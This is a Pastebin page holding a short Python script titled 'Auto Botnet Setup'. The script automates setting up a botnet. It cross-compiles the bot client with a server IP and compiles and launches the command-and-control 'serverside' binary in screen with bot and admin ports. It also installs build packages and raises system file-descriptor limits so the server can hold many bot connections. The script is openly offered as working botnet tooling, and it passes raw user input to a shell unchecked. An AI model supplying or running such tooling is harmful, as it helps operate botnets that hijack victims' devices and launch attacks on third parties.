LoveHecate

[PYTHON] Auto Botnet Setup

Jul 22nd, 2017
554
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.60 KB | None | 0 0
  1. #!/usr/bin/python
  2. #Coded By: Love Hecate
  3. #CONFIGURE LINE 29
  4.  
  5. import subprocess, time
  6.  
  7. def run(cmd):
  8.     subprocess.call(cmd, shell=True)
  9.    
  10. print ("[\x1b[1;32m1\x1b[0m] setup compiler")
  11. print ("[\x1b[1;34m2\x1b[0m] setup serverside")
  12. print ("[\x1b[1;35m3\x1b[0m] installs/make sure net doesnt crash")
  13. option = input ("Enter Option: ")
  14.    
  15. if option == 1:
  16.   lolz = raw_input ("is it a python or bash script: ")
  17.   cc = raw_input ("whats cross compiler name: ")
  18.   cs = raw_input ("clientside name: ")
  19.   ip = raw_input ("server ip: ")
  20.   run (""+lolz+" "+cc+" "+cs+" "+ip+"")
  21.  
  22. if option == 2:
  23.   svs = raw_input ("whats serverside name: ")
  24.   bot = raw_input ("whats botport: ")
  25.   port = raw_input ("what do you want port to be?: ")
  26.   run ("gcc "+svs+" -o love -pthread")
  27.   print ("add login ex.) love love: then ctrl + x then save")
  28.   time.sleep (5)
  29.   run ("nano love.txt") #CHANGE TO YOUR SERVERSIDES LOGIN FILE NAME EX.) login.txt
  30.   run ("screen ./love "+bot+" 1 "+port+"")
  31.  
  32. if option == 3:
  33.   print ("INSTALLING FILES IN BACKROUND")
  34.   run ("yum -q install gcc screen python wget bash nano lbzip2 bzip2 -y")
  35.   run ("ulimit -n 99999")
  36.   run ("sed -i 's/1024/9999999/g' /usr/include/bits/typesizes.h")
  37.   print ("\x1b[1;31mREAD !!!!!!!")
  38.   time.sleep(1)
  39.   print ("READ !!!!!!!")
  40.   time.sleep(1)
  41.   print ("READ !!!!!!!")
  42.   time.sleep(1)
  43.   print ("READ !!!!!!!")
  44.   time.sleep(1)
  45.   print ("READ !!!!!!!")
  46.   time.sleep(1)
  47.   print ("READ !!!!!!!\x1b[0m")
  48.   time.sleep(1)
  49.   print ("DELETE ALL NUMBERS THEN PUT 999999999 THEN CTRL + X THEN SAVE")
  50.   time.sleep(10)
  51.   run ("nano /proc/sys/fs/file-max")
Advertisement
Add Comment
Please, Sign In to add comment